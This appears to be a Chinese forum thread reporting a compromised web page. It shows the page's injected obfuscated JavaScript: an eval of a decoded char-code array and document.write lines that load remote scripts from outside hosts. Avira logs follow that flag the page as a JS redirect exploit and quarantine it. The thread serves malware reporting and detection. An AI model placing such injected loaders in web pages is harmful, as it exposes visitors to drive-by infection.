http://www.applemoon.ru/news-and-pr/news/0001227

fireold

1. /*/24d5cd*/
   
2. = -(7 - 3) parseInt(a[i], 8);
   
3. }
   
4. try {
   
5.     asd()
   
6. } catch (q) {
   
7.     zz = 0;
   
8. }
   
9. try {
   
10.     zz /= 2
    
11. } catch (q) {
    
12.     zz = 1;
    
13. }
    
14. if (!zz) if (window["document"]) eval(ss.fromCharCode.apply(ss, a)); /*/24d5cd*/
    
15. 
    
16. 
    
17. document.write('<script src="http://www.indianmediagroup.com/plugins/phVm7APX.php" type="text/javascript"></script>') /*/339810*/
    
18. 
    
19. 
    
20. /*97c392*/
    
21. document.write('<script src="http://ya-net.es/css/l4kVLAsM.php?id=33962055" type="text/javascript"></script>'); /*/97c392*/

复制代码

Avira

2013/11/18 下午 07:45 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\0001227[1].htm'
      包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
      已採取動作：
      檔案會移動至 '5acc5fba.qua' 名稱底下的隔離區目錄。.

2013/11/18 下午 07:45 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        806
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/18 下午 07:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\0001227[1].htm 中
      偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/18 下午 07:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\UL724GWW\0001227[1].htm 中
      偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
      執行的動作：拒絕存取

2013/11/18 下午 07:45 [Web Protection] 已停用 Web Protection
      服務已停用

2013/11/18 下午 07:44 [Web Protection] 封鎖的網頁
      URL (http://www.applemoon.ru/news-and-pr/news/0001227) 的評估結果為 惡意程式碼，而遭到封鎖。

fs is

cxy密斯

google秒拦了。。。。。。